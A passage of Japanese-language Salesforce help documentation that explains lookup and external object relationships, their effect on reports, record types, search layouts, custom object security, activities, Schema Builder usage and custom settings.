るため、デフォルトではカスケード削除は無効になっています。組織でカスケード削除オプション
を有効にするには、Salesforce にお問い合わせください。
カスケード削除とその関連オプションは、営業時間、コミュニティ、リード、価格表、商品、また
はユーザオブジェクトとの参照関係には使用できません。

一連の参照関係では、これらの動作は各レベルの対象項目ごとに独立して機能します。たとえば、項目 A

は項目 B の参照対象であり、項目 B は項目 C の参照対象であるとします。A に対しては削除制限を設定でき
ますが、B に対しては設定できません。つまり、A は削除できませんが、B は削除できます。B を削除する
と、A と B の間にリレーションはなくなり、C では参照の値が空の値になります。
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マルチレベルの参照関係では、次のようなオプションで競合する可能性があります。たとえば、項目 A が
項目 B の参照対象であり、項目 B が項目 C の参照対象であるこのシナリオでは、A は B を削除できるけれど
も、B には C とのリレーションがあるため B を削除できないことを指定できます。A を削除しようとする
と、B は C にリンクされているため B を削除できないというエラーが表示されます。
ルックアップリレーションの親レコードが削除されても、子レコードの項目履歴管理には削除は記録され
ません。たとえば、親取引先が削除されても、子取引先の [取引先履歴] 関連リストに削除は記載されませ
ん。

外部オブジェクトのリレーション
参照、外部参照、間接参照のリレーションの一部の動作は特殊であり、制限があります。
• 外部オブジェクトでは、参照関係、外部参照関係、および間接参照関係のみを使用できます。その他の

リレーション種別はサポートされていません。
• 外部システムの可用性によっては、ユーザが親レコード詳細ページを表示するときに、子外部オブジェ

クトの関連リストの読み込み速度が低下することがあります。
• 外部オブジェクトが含まれるリレーションでは、ユーザが親レコードのレコード詳細ページから子レ

コードを作成できます。ただし、個々の新規子レコードのリレーション項目に、親レコードを識別する
ための値が自動的に入力されることはありません。

• 同期によってSalesforce組織の外部オブジェクトにリレーション項目が作成されることはありません。た
だし、同期で作成されたカスタム項目のデータ型を参照関係、外部参照関係、または間接参照関係に変
更できます。既存のカスタム項目のデータ型を変更する方が、手動で外部オブジェクトにリレーション
項目を作成するよりも簡単で効率的です。
たとえば、外部システムに外部キーリレーションがあるとします。関連テーブルを同期すると、外部
キーを識別する外部列用のテキスト項目が組織に作成されます。組織内の外部キーリレーションを反映
するには、そのテキスト項目のデータ型を外部参照関係に変更します。

• リレーション項目は、カスタム項目の一種です。そのため、外部オブジェクトのすべてのカスタム項目
と同様に、リレーション項目は、外部オブジェクトの同期時に上書きできます。使用する各 Salesforce

Connect アダプタの同期に関する考慮事項を参照してください。
• カスケード削除は、外部オブジェクトリレーションでは使用できません。
• Salesforce Classic のみ:

– 間接参照関係項目には、予想される親レコード名が表示されません。代わりに、各間接参照項目に
は、親オブジェクトの対象項目の値が表示されます。関連レコードを見つけるために、対象項目の
値が子オブジェクトの間接参照関係項目の値と照合されます。間接参照項目が作成されるときに、
External ID および Unique 属性を持つ対象項目が選択されます。

– 外部参照関係項目には、予想される親レコード名が常に表示されるとは限りません。以前に組織で
親レコードが取得されている場合、外部参照関係項目には予想される名前が表示されます。それ以
外の場合、外部参照項目には、親オブジェクト ID か、親オブジェクトの[外部 ID] 標準項目の値が
表示されます。デフォルトでは、後者が表示されます。ただし、親オブジェクトのカスタム項目に
[名前項目]属性がある場合、親オブジェクト ID が表示されます。外部参照項目に ID が表示されてい
る場合、ページを再読み込みして ID を名前に置き換えます。

• ユーザが外部参照または間接参照関係項目を編集しようとする場合は、親レコードを選択するための参
照ダイアログを使用できません。
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外部参照関係項目を編集するには、親レコードの [外部 ID] 標準項目の値を手動で入力します。–

– 間接参照関係項目を編集するには、親レコードの対象項目の値を手動で入力します。対象項目は、
間接参照関係項目が作成されたときに選択された、External IDおよび Unique属性を持つカスタ
ム項目です。関連レコードを判別するために、Salesforce によって対象項目の値が子オブジェクトの
間接参照関係項目の値と照合されます。

• 外部参照および間接参照のリレーションでは、親レコードが、子レコードのリレーション項目でクリッ
ク可能なリンクとして表示されます。親レコードへのアクセス権がないユーザが子レコードを表示する
と、親レコードはリンクではなくプレーンテキストとしてリレーション項目に表示されます。

• ルックアップ検索条件は、外部参照関係項目では使用できません。
• 間接参照関係項目は、外部オブジェクトにのみ作成できます。
• 間接参照関係で親オブジェクトとして使用できるのは、External ID および Unique 属性を含むカス

タム項目があるオブジェクトのみです。間接参照関係項目を作成するときに目的のオブジェクトが表示
されない場合は、一意のカスタム外部 ID 項目をそのオブジェクトに追加します。

• 外部システムが、指定した [外部列の名前]項目で大文字と小文字を区別する値を使用している場合、親
オブジェクトの項目でも大文字と小文字を区別することを確認します。親オブジェクトのカスタム項目
を定義する場合、[外部 ID]、[一意の]、および [「ABC」と「abc」を別の値として扱う (大文字と小文字
を区別する)] を選択します。

レポートへのリレーションの影響
作成するリレーションの種別は、使用可能な標準レポートタイプや分類方法に影響します。これらのレポー
トタイプにより、次のレポートに含めることのできる関連オブジェクトが決まります。
• 参照関係により、2 つの関連オブジェクトから得られるデータを 1 つのレポートに結合できます。
• 主従関係により、主オブジェクト、従オブジェクト、さらに参照オブジェクトの 3 つのオブジェクトか

ら得られるデータを 1 つのレポートに結合できます。従オブジェクトが複数の参照関係を持つ場合は、
それぞれの参照に基づいて、レポートタイプを分けることができます。

• 多対多リレーションには、主オブジェクトと連結オブジェクトを結合した 2 つの標準レポートタイプが
用意されています。レポートタイプは次のとおりです。
– プライマリ主オブジェクトのレポートカテゴリにある「連結オブジェクトとセカンダリオブジェク

トが関連するプライマリオブジェクト」
– セカンダリ主オブジェクトのレポートカテゴリにある「連結オブジェクトとプライマリオブジェク

トが関連するセカンダリオブジェクト」
レポートタイプの主オブジェクトの順序は重要です。先に表示される主オブジェクトによって、レポー
トに表示されるレコードの範囲が決まります。

各リレーション種別のレポートへの影響を、次の表にまとめました。

レポートタイプカテゴリ標準レポートタイプリレーション種別

オブジェクトに基づくオブジェクト自身
第 1 参照が関連するオブジェクト

ルックアップ

第 2 参照が関連するオブジェクト
第 3 参照が関連するオブジェクト
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レポートタイプカテゴリ標準レポートタイプリレーション種別

主オブジェクト主オブジェクト自身
従オブジェクトが関連する主オブ
ジェクト

主従

従オブジェクトと第 1 参照が関連
する主オブジェクト
従オブジェクトと第 2 参照が関連
する主オブジェクト
従オブジェクトと第 3 参照が関連
する主オブジェクト

プライマリ主オブジェクト
および

プライマリ主オブジェクト自身
セカンダリ主オブジェクト自身

多対多

セカンダリ主オブジェクト連結オブジェクトとセカンダリ主
オブジェクトが関連するプライマ
リ主オブジェクト
連結オブジェクトとプライマリ主
オブジェクトが関連するセカンダ
リ主オブジェクト

カスタムレポートタイプを使用して、参照関係や主従関係など、複数のオブジェクトからより柔軟にデー
タを結合することができます。

重要: リレーションを参照関係から主従関係に変換したり、またその逆の変換を行うと、各種別のリ
レーションに対して使用できる標準レポートタイプがさまざまであるために、既存のカスタムレポー
トが使用できなくなる可能性があります。リレーション種別を変換した後、すぐにカスタムレポート
をテストすることをお勧めします。リレーションを元の種別に戻すと、レポートは復元され、また使
用できるようになります。

関連トピック:

オブジェクトリレーションの概要
多対多リレーションの作成
外部オブジェクトリレーション
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カスタムオブジェクトのレコードタイプの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムオブジェクトの
レコードタイプを作成す
る
• 「アプリケーションの

カスタマイズ」

ユーザのプロファイルに応じて各ユーザに異なる選択リストとページレイアウ
トを表示するには、カスタムオブジェクトのレコードタイプを作成します。
1. カスタムオブジェクトのオブジェクト管理設定から、レコードタイプに移動

します。
2. [レコードタイプ] 関連リストで [新規] をクリックします。
3. [既存のレコードタイプからコピーする] ドロップダウンリストから [主] を

選択して、使用可能なすべての選択リスト値をコピーするか、既存のレコー
ドタイプを選択して、その選択リスト値をコピーします。

メモ: 既存のレコードタイプをコピーせずに新しいレコードタイプを作
成する場合、新しいレコードタイプには、標準選択リストとカスタム選
択リストの両方について自動的にマスタ選択リスト値が含まれます。レ
コードタイプの選択リスト値はカスタマイズできます。

4. オブジェクト内で一意の [レコードタイプの表示ラベル] を入力します。
5. 説明を入力します。
6. [有効] を選択して、そのレコードタイプを有効にします。
7. プロファイルの横の [プロファイルの有効]を選択して、そのプロファイルを

持つユーザがレコードタイプを使用できるようにします。ヘッダー行にあるチェックボックスをオンにす
ると、すべてのプロファイルに対してレコードタイプが有効になります。

ヒント: 各プロファイルが 1 つのレコードタイプに関連付けられている場合、新規レコードの作成時
にユーザにレコードタイプの選択が要求されることはありません。

8. 有効にしたプロファイルに対して [デフォルトに設定] を選択すると、そのレコードタイプは、そのプロ
ファイルのユーザのデフォルトのレコードタイプになります。ヘッダー行にあるチェックボックスをオン
にすると、そのレコードタイプは、すべてのプロファイルのデフォルトになります。

9. [次へ] をクリックします。
10. ページレイアウトのオプションを選択して、このレコードタイプを持つレコードに対して表示するページ

レイアウトを決定します。
• すべてのプロファイルに対して 1 つのページレイアウトを適用するには、[1 つのレイアウトをすべての

プロファイルに適用する] を選択し、ドロップダウンリストからページレイアウトを選択します。
• ユーザプロファイルに基づいて異なるページレイアウトを適用するには、[プロファイルごとに異なるレ

イアウトを適用する] を選択し、プロファイルごとにページレイアウトを選択します。

11. [保存] をクリックして、レコードタイプで使用可能な標準選択リストとカスタム選択リストの値を編集す
るか、[保存 & 新規] をクリックして、別のレコードタイプを作成します。

関連トピック:

オブジェクト管理設定の検索
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カスタムオブジェクト用の検索レイアウトのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムオブジェクトの
検索レイアウトを定義す
る
• 「アプリケーションの

カスタマイズ」

検索結果、ルックアップダイアログ、およびカスタムタブホームページの主要
リストに表示されるカスタムオブジェクト項目をカスタマイズできます。検索
レイアウトごとに別の項目を表示するように指定できます。設定は、組織内の
全ユーザに適用されます。
カスタムリストビューと検索結果に表示するボタンをカスタマイズすることも
できます。標準のリストビューボタンを非表示にしたり、カスタムボタンを表
示したりできます。標準ボタンは、検索結果レイアウトでは使用できません。
カスタムボタンを表示するには、カスタムボタンを作成し、ボタンの [表示の種
類] を「リストボタン」にします。
1. カスタムオブジェクトのオブジェクト管理設定から、[検索レイアウト] に移

動します。
2. 編集する検索レイアウトの横にある [編集] をクリックします。

メモ: カスタムタブのホームページで主要なリストに選択した項目は、
デフォルトの [すべて] リストビューに表示される列としても、すべての
新規リストビューのデフォルトの列としても使用されます。別の列を参
照するには、リストビュー自体をカスタマイズします。

3. [選択可能な項目] および [選択済みの項目] 間で項目を移動します。
• レイアウトに表示する項目をカスタマイズするには、1 つ以上の項目を選

択して、[追加] または [削除] をクリックします。
• レイアウトで項目を並び替えるには、[選択済みの項目] で 1 つ以上の項目

を選択して、[上へ] または [下へ] をクリックします。
• 複数の項目を個別に選択するには、Ctrl キーを押しながらクリックします。
• 複数の項目をグループとして選択するには、Shift キーを押しながらクリックします。

4. [保存] をクリックします。

関連トピック:

検索レイアウトのカスタマイズ
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カスタムオブジェクトのセキュリティ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

タブはDatabase.comでは
使用できません。

セキュリティ設定を連携させ、カスタムオブジェクトへのアクセス権を非常に
柔軟に制御する方法について説明します。
カスタムオブジェクトのセキュリティを、次のレベルで設定します。
• タブ — ユーザプロファイルに基づいて、該当するユーザのカスタムタブを

表示します。
• オブジェクト — ユーザが各オブジェクトのレコードを作成、参照、編集、

および削除するためのアクセス権限を設定します。
• レコード — ユーザ全員に適用されるデフォルトの共有モデルを設定します。

これにより、ユーザが自ら所有していないカスタムオブジェクトのコードに
対して持つアクセス権が決まります。

• リレーション — 主従関係の従側になっているオブジェクトの場合に、従レ
コードの作成、編集または削除を行うために必要な主レコードの共有アクセ
ス権を指定します。これは従オブジェクトの主従関係項目の [共有設定] 属
性で指定されます。

• 項目 — カスタムオブジェクトのページレイアウトに表示される項目に対す
るユーザのアクセス権のレベルを設定します。

次の要件は、主従関係を持たないカスタムオブジェクトに適用されます。

必要な権限アクション

「作成」権限ユーザは、サイドバーの [新規作成] ド
ロップダウンリストから新規レコードを作成するため
に、タブを表示させる必要があります。

レコードの作成

「参照」権限。レコードの所有者でない場合は、「公
開/参照のみ」または「公開/参照・更新可能」共有モ
デル。

レコードを参照する

「編集」権限。レコードの所有者でない場合は、「公
開/参照・更新可能」共有モデル。

レコードを編集する

「削除」権限を持っており、レコードの所有者である
か、ロール階層の中でレコードの所有者よりも上位で
あることが必須。

レコードを削除する

次の要件は、標準またはカスタムオブジェクトとの間に主従関係を持つカスタムオブジェクトに適用されま
す。

必要な権限アクション

「作成」権限、および関連する主レコードへの「参
照」または「参照・更新」権限 (従オブジェクトの主
従関係項目の [共有設定] 属性の値による)。

レコードの作成
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必要な権限アクション

「参照」権限、および関連する主レコードに対する参
照権限。多対多関係でレコードに 2 つの主レコードが

レコードを参照する

ある場合、ユーザは両方の主レコードに対する参照ア
クセス権を持っている必要があります。

「編集」権限、および関連する主レコードへの「参
照」または「参照・更新」権限 (従オブジェクトの主
従関係項目の [共有設定] 属性の値による)。

レコードを編集する

「削除」権限、および関連する主レコードへの「参
照」または「参照・更新」権限 (従オブジェクトの主
従関係項目の [共有設定] 属性の値による)。
ユーザが関連カスタムオブジェクトのレコードを持つ
レコードを削除すると、ユーザがそのカスタムオブ

レコードを削除する

ジェクトに対する削除権限を持っているかどうかに関
係なく、関連カスタムオブジェクトのすべてのレコー
ドが削除されます。

代理管理者は、指定されたカスタムオブジェクトのほぼすべての面を管理できますが、オブジェクトのリレー
ションの作成や変更、組織の共有設定の設定などを行うことはできません。

カスタムオブジェクトの活動の有効化に関するメモ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

• カスタムオブジェクトを作成するときに活動を有効化すると、自動的に [活
動] 関連リストがデフォルトのページレイアウトに追加されます。活動を有
効化すると、カスタムオブジェクトがすでに存在している場合、手動で関連
リストをページレイアウトに追加する必要があります。

• カスタムオブジェクトの活動を無効化しても、既存の活動レコードは削除さ
れません。ただし、[活動] 関連リストはカスタムオブジェクトページから削
除され、活動が含まれるレポートとカスタムオブジェクトは削除されます。

• カスタムオブジェクトに取引先との主従関係がある場合、カスタムオブジェ
クトの活動は取引先に積み上げ集計され、取引先の [最終活動日] 日付が更
新されます。他のレコードタイプに関連するカスタムオブジェクトの場合、
活動は積み上げ集計されません。

• メール送信機能や差し込み印刷ドキュメントの作成機能は、カスタムオブ
ジェクトの活動に使用できます。メールは、取引先責任者またはリードに送
信する必要があります。

• カスタムオブジェクトレコードの所有者を変更すると、そのカスタムオブジェクトに関連する活動予定も
新しいレコード所有者に移行されます。
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• ワークフロー ToDo がカスタムオブジェクトに関連付けられている場合、またはモバイル設定で ToDo と行
動がカスタムオブジェクトの子データセットである場合、カスタムオブジェクトの活動追跡を無効にする
ことはできません。

• カスタムオブジェクトレコードは、そのオブジェクトで活動が有効な場合にのみ Salesforce CRM Call Center の
通話ログに関連付けることができます。

関連トピック:

カスタムオブジェクトの定義

独自のデータモデルの設計
エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

スキーマビルダーは、すべてのオブジェクトとリレーションをアプリケーショ
ンで表示および変更するための動的な環境を提供します。これにより、データ
モデルまたはスキーマを設計、実装、変更する作業が大幅に簡略化されます。
スキーマビルダーはデフォルトで有効になっています。
既存のスキーマを表示したり、ドラッグアンドドロップするだけで新しいカス
タムオブジェクト、カスタム項目、リレーションを対話形式で追加したりでき
ます。オブジェクトを移動すると、スキーマビルダーにより変更内容が自動的
に実装され、スキーマのレイアウトが保存されます。これにより、ページから
ページへクリックしてたどり、スキーマでリレーションの詳細を探したり、オ
ブジェクトに新しいカスタム項目を追加したりする手間を省くことができます。
スキーマビルダーは、項目の値、必須項目、オブジェクトの関係などの詳細を、参照関係と主従関係の表示に
よって提供します。標準オブジェクトとカスタムオブジェクトの両方で、項目および関係を表示できます。

スキーマビルダーでは、スキーマに次のものを追加できます。
• カスタムオブジェクト
• 参照関係
• 主従関係
• 地理位置情報を除くすべてのカスタム項目

メモ: スキーマビルダーからスキーマをエクスポートすることはできません (スキーマを別の組織で使用
する場合など)。

スキーマビルダーへのアクセス方法
スキーマビルダーのカスタムオブジェクト定義

関連トピック:

スキーマビルダーへのアクセス方法
カスタム項目のデータ型
変更セット
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スキーマビルダーへのアクセス方法

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

スキーマビルダーでオブ
ジェクトを参照する
• 「アプリケーションの

カスタマイズ」

[設定] から、[クイック検索]ボックスに「スキーマビルダー」と入力し、[スキー
マビルダー] を選択します。
スキーマビルダーを使用して、次の操作を実行できます。
• オブジェクトをクリックして、キャンバスの任意のスペースに移動します。

オブジェクトを移動すると、スキーマビルダーによりスキーマのレイアウト
が保存されます。

• スキーマのオブジェクトのレイアウトを自動的に並び替えるには、[自動レイ
アウト] をクリックします。

重要: [自動レイアウト] をクリックしてしまうと、元に戻すことはでき
ません。

• [ビューオプション] をクリックすると、次のことを実行できます。
– システム名を使用する場合は[要素名を表示]、テキスト値を使用する場合

は [要素ラベルを表示]

– リレーションを表示/非表示
– 凡例を表示/非表示

• [要素] タブでは、キャンバス上に新しいカスタムオブジェクトおよび項目をドラッグアンドドロップでき
ます。
– カスタムオブジェクトを作成するには、「スキーマビルダーでオブジェクトを作成する」を参照してく

ださい。
– カスタム項目を作成するには、「スキーマビルダーで項目を作成する」を参照してください。

• [オブジェクト] タブでは、キャンバスに表示するオブジェクトを選択できます。
– サイドバーのドロップダウンリストをクリックして、オブジェクトのリストを次のように絞り込みま

す。
• すべてのオブジェクト
• 選択されたオブジェクト
• 標準オブジェクト
• カスタムオブジェクト
• システムオブジェクト

メモ: アプリケーション、API などを使用して作成されたオブジェクトなど、スキーマビルダー
以外で作成されたオブジェクトはキャンバスに自動的に表示されません。キャンバスにこのよ
うなオブジェクトを表示するには、スキーマビルダー以外で作成されたオブジェクトのチェッ
クボックスをオンにします。

– オブジェクトを検索するには、[クイック検索] ボックスにオブジェクトの名前を入力します。
– キャンバスでオブジェクトを検索するには、オブジェクトのリスト内の 1 つのオブジェクトにマウスポ

インタを置いて、 をクリックします。
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• 参照関係や主従関係など、リレーションの詳細を表示するには、リレーション行の上にマウスを置きます。
キャンバスでオブジェクトを検索するには、オブジェクト名をクリックします。スキーマの読み込みに時
間がかかる場合、リレーションを非表示にすることもできます。

• 新規ウィンドウに項目の詳細を表示するには、要素名または表示ラベルを右クリックして、[新規ウィンド
ウで項目を参照] を選択します。

• カスタム項目のプロパティを編集するには、要素名または表示ラベルを右クリックして、[項目のプロパ
ティを編集] を選択します。

• カスタム項目の権限を管理するには、要素名または表示ラベルをクリックして、[項目権限を管理] を選択
します。すべての標準プロファイルとカスタムプロファイルの項目を参照および編集できるかどうかを管
理するには、表示されるダイアログボックスを使用します。デフォルトでは、内部プロファイルに割り当
てられるカスタム項目の項目レベルセキュリティが、パートナーユーザまたはカスタマーポータルマネー
ジャからコピーされるのではなく、参照可能かつ編集可能に設定されます。数式や積み上げ集計項目など、
通常は編集不可能な項目は、参照のみで表示されます。

• をクリックすると、次のことを実行できます。
– キャンバスのオブジェクトを非表示
– 新しいウィンドウで [オブジェクトを参照する] の詳細を見る
– 新しいウィンドウで [ページレイアウトを表示] の詳細を見る

• オブジェクトに多数の項目がある場合は (リードやキャンペーンなど)、[項目の表示件数を増やす]をクリッ
クしてすべての項目を表示します。

• ズームインするには、 をクリックします。ズームアウトするには、 をクリックします。

メモ: スキーマビルダーを閉じるときに、ズームレベルは保存できません。

•
サイドバーを折りたたむには、 をクリックします。展開するには、 をクリックします。

• 右下角のマップでは、キャンバス上のオブジェクトのレイアウトの概要を示します。オブジェクトのレイ
アウトで移動するには、マップをクリックします。ズームインした状態でスキーマレイアウトを縦横にパ
ンするには、キャンバスをクリックして押したまま、マウスを動かします。

• スキーマビルダーを閉じてオブジェクトのレイアウトを保存するには、[閉じる] をクリックします。

重要: スキーマに多数のオブジェクトおよび項目が含まれる場合、読み込みに長時間かかる可能性があり
ます。[リレーションを非表示]をクリックすると、スキーマビルダーのパフォーマンスを向上させること
ができます。

スキーマビルダーでオブジェクトを作成する
スキーマビルダーで項目を作成する
スキーマビルダーでカスタムオブジェクトを削除する
スキーマビルダーを使用して、不要になったカスタムオブジェクトを削除できます。
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スキーマビルダーでカスタム項目を削除する
不要になったカスタム項目をスキーマビルダーを使用して削除することで、カスタム項目で画面が乱雑に
なるのを簡単に回避できます。

関連トピック:

スキーマビルダーでオブジェクトを作成する
スキーマビルダーで項目を作成する
オブジェクト管理設定の検索

スキーマビルダーでオブジェクトを作成する

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

スキーマビルダーで新し
いカスタムオブジェクト
を作成する
• 「アプリケーションの

カスタマイズ」

スキーマビルダーでカスタムオブジェクトを作成する手順は、次のとおりです。
1. [要素] タブをクリックします。
2. [オブジェクト] をクリックして、キャンバスにドラッグします。
3. オブジェクトを定義する情報を入力します。オブジェクト定義の一覧は、

「スキーマビルダーのカスタムオブジェクト定義」 (ページ5356)を参照してく
ださい。

4. [保存] をクリックします。

関連トピック:

スキーマビルダーのカスタムオブジェクト定義

スキーマビルダーで項目を作成する

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

スキーマビルダーで新し
い項目を作成する
• 「アプリケーションの

カスタマイズ」

スキーマビルダーでカスタム項目を作成する手順は、次のとおりです。
1. [要素] タブをクリックします。
2. 項目をクリックして、キャンバス上のオブジェクトにドラッグします。
3. [項目表示ラベル] を入力します。

Salesforce により、項目の表示ラベルを使用して [項目名] が入力されます。
この名前は、アンダースコアと英数字のみを使用でき、組織内で一意にする
必要があります。最初が文字である、空白を使用しない、最後にアンダース
コアを使用しない、2 つ続けてアンダースコアを使用しないという制約があ
ります。
カスタム項目名および表示ラベルがそのオブジェクトで一意であるようにし
てください。
• 標準項目とカスタム項目の名前や表示ラベルが同じ場合、差し込み項目

にはカスタム項目の値が表示されます。
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• 2 つのカスタム項目の名前や表示ラベルが同じ場合、差し込み項目に予期しない値が表示される場合が
あります。

Emailという項目ラベルを作成し、[メール]というラベルの標準項目がすでにある場合、差し込み項目は
それらの項目を区別できない可能性があります。カスタム項目名に 1 文字追加すると、項目名が一意にな
ります。たとえば、Email2 のように指定します。

4. カスタム項目の [説明] を入力します。
5. カスタム項目の目的と機能の詳細を説明するには、[ヘルプテキスト] を入力します。
6. 新しいレコードが作成されたときに、カスタム項目に値が自動的に挿入されるようにするには、[デフォル

ト値] を入力します。
7. 選択したカスタム項目のデータ型に応じて、残りの項目属性を入力します。
8. [保存]をクリックします。
スキーマビルダーを使用して追加した項目は、ページレイアウトに自動的に追加されません。項目の表示場所
を指定するようにページレイアウトを編集する必要があります。

スキーマビルダーでカスタムオブジェクトを削除する

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

スキーマビルダーでカス
タムオブジェクトを削除
する
• 「アプリケーションの

カスタマイズ」

スキーマビルダーを使用して、不要になったカスタムオブジェクトを削除でき
ます。
カスタムオブジェクトを削除しようとすると、スキーマビルダーに副次的影響
のリストが表示されます。最終的に削除を行う前に、これら副次的影響を受け
入れることができることを確認してください。「カスタムオブジェクトの削除」
(ページ5328)および「削除されたカスタムオブジェクトの管理」 (ページ5330)を参
照してください。
1. カスタムオブジェクトのアイコンの をクリックします。
2. [オブジェクトの削除中...] を選択します。オブジェクトの削除による副次的

影響を説明するダイアログボックスが表示されます。この情報をよく読んで
ください。

3. 条件を受け入れる場合は、[カスタムオブジェクトを削除します。] をクリッ
クします。

4. [削除] をクリックします。
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スキーマビルダーでカスタム項目を削除する

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

スキーマビルダーでカス
タム項目を削除する
• 「アプリケーションの

カスタマイズ」

不要になったカスタム項目をスキーマビルダーを使用して削除することで、カ
スタム項目で画面が乱雑になるのを簡単に回避できます。
カスタム項目を削除しようすると場合、スキーマビルダーでは副次的影響のリ
ストが表示されます。最終的に削除を行う前に、これら副次的影響を受け入れ
ることができることを確認してください。
1. カスタム項目を右クリックします。
2. [項目の削除中...] を選択します。カスタム項目の削除による副次的影響を説

明するダイアログボックスが表示されます。この情報をよく読んでくださ
い。

3. 条件を受け入れる場合は、[はい。カスタム項目を削除します。] をクリック
します。

4. [削除] をクリックします。

スキーマビルダーのカスタムオブジェクト定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

説明項目

ユーザインターフェースページで、オ
ブジェクトを参照するために使用する
名前。

表示ラベル

オブジェクトの複数形の表示ラベル。
このオブジェクトにタブを作成する
と、そのタブにこの名前が使用されま
す。

表示ラベル(複数形)

組織のデフォルト言語に該当する場合
は、表示ラベルの先頭が「a」ではなく

母音で始まる場合はチェック

「an」にする必要があるかどうか確認
します。

API を使用しているときにオブジェクト
の参照に使用する一意の名前。管理

オブジェクト名

パッケージでは、この一意の名前によ
り、パッケージのインストール時に名
前が競合することを防ぎます。[オブ
ジェクト名] 項目には、アンダースコ
アと英数字のみを使用できます。一意
であること、最初は文字であること、
空白は使用しない、最後にアンダース
コアを使用しない、2 つ続けてアンダー
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説明項目

スコアを使用しないという制約があります。

オブジェクトの説明 (省略可能)。説明

ページレイアウト、リストビュー、関連リスト、検索
結果に使用する名前。

レコード名

レコード名の項目の種別 (テキストまたは自動採番)。
名前の代わりに ID を使用するレコードでは、自動採

データ型

番が使用されます。自動採番とは、自動的に割り当て
られる一意の番号のことです。この項目は常に参照の
みの項目です。

カスタムオブジェクト中のデータをレポートに使用で
きるようにします。
カスタムオブジェクトのレポートを作成する場合、カ
スタムオブジェクトが標準オブジェクトと関連しない

レポートを許可

限り、[その他のレポート]レポートタイプカテゴリを
選択します。カスタムオブジェクトが標準オブジェク
トと主従関係になっている場合、または標準オブジェ
クトの参照オブジェクトになっている場合は、代わり
にレポートタイプカテゴリとして標準オブジェクトを
選択します。

ユーザが、カスタムオブジェクトレコードに関連する
予定されている行動と ToDo を対応付けられるように
します。

活動を許可

組織でカスタムオブジェクトレコードの項目に対する
変更を追跡できるようにします。項目の値の変更者、

項目履歴管理

変更日時、編集前と後の値などを追跡できます。履歴
データはレポートにも使用できるため、この機能が有
効になっていると、簡単に監査レポートを作成できま
す。

組織でディビジョンが有効になっている場合は、この
オプションをオンにして、ディビジョンに対しカスタ

ディビジョンを有効化

ムオブジェクトを有効にします。Salesforceのクイック
検索結果、リストビュー、レポート、およびその他の
領域でグループのレコードをディビジョンごとに操作
できます。Salesforce は、カスタムオブジェクトに
[ディビジョン] 項目を追加します。そのカスタムオ
ブジェクトが主従関係の主側であれば、従側のカスタ
ムオブジェクトも [ディビジョン] 項目を取得し、マ
スタレコードからディビジョンを継承します。
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説明項目

このオプションによりSalesforceカスタマーポータルで
カスタムオブジェクトを利用できるようにします。

カスタマーポータルで利用可

パッケージコンテキストでは、名前空間プレフィック
スとは AppExchange にある自社パッケージとそのコン

名前空間プレフィックス

テンツを他の開発者のパッケージと区別するための 1

～ 15 文字の英数字で構成される識別子です。名前空
間プレフィックスでは、大文字小文字は区別されませ
ん。たとえば、ABC と abc は一意として認識されませ
ん。名前空間プレフィックスは、すべてのSalesforce組
織にわたって必ずグローバルに一意なものを指定しま
す。名前空間プレフィックスを使用することで、各自
の管理パッケージのみを管理できるようになります。

カスタムオブジェクトが他のユーザから参照できるよ
うになっているかどうかを示します。

リリース状況

ユーザにカスタムオブジェクトレコードへのメモと添
付ファイルの添付を許可します。
このオプションは、新規オブジェクトの作成時のみ選
択できます。

デフォルトのページレイアウトに...
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カスタムデータセットの作成
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Developer Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Database.com Edition

パッケージは
Database.com Edition では
使用できません。

ユーザ権限

カスタム設定を管理、作
成、編集、削除する
• 「アプリケーションの

カスタマイズ」

カスタムデータセットを作成したり、組織、プロファイル、またはユーザのカ
スタムデータを作成および関連付けたりするには、カスタム設定を使用します。
カスタム設定は、組織データをカスタマイズできるという点でカスタムオブジェ
クトと類似しています。カスタムオブジェクトではレコードがカスタムオブジェ
クトに基づいていますが、これとは異なり、カスタム設定では組織全体でカス
タムデータセットを利用したり、カスタム条件に基づいて特定のユーザまたは
プロファイルを区別したりできます。
カスタム設定データはアプリケーションキャッシュで公開されます。これによ
り、データベースへのクエリを繰り返し行うコストをかけずに、効率的なアク
セスを実現します。さらに、このデータは、数式項目、入力規則、フロー、
Apex、SOAP API で使用できます。

メモ: リストカスタム設定の使用を検討している場合は、代わりにカスタ
ムメタデータ型 (ページ6827)の使用を考慮してください。リストカスタム設
定とは異なり、カスタムメタデータ型のレコードはパッケージまたはメタ
データ API ツールを使用して移行できます。

次の 2 種類のカスタム設定があります。
リストカスタム設定

組織全体からアクセスできる再使用可能な静的データセットを提供するカス
タム設定の種類。アプリケーション内で特定のデータセットを頻繁に使用す
る場合は、そのデータをリストカスタム設定に含めることにより、アクセス
が簡素化されます。リスト設定に含まれるデータが、プロファイルやユーザ
ごとに異なるということはなく、組織全体で利用できます。リストデータの
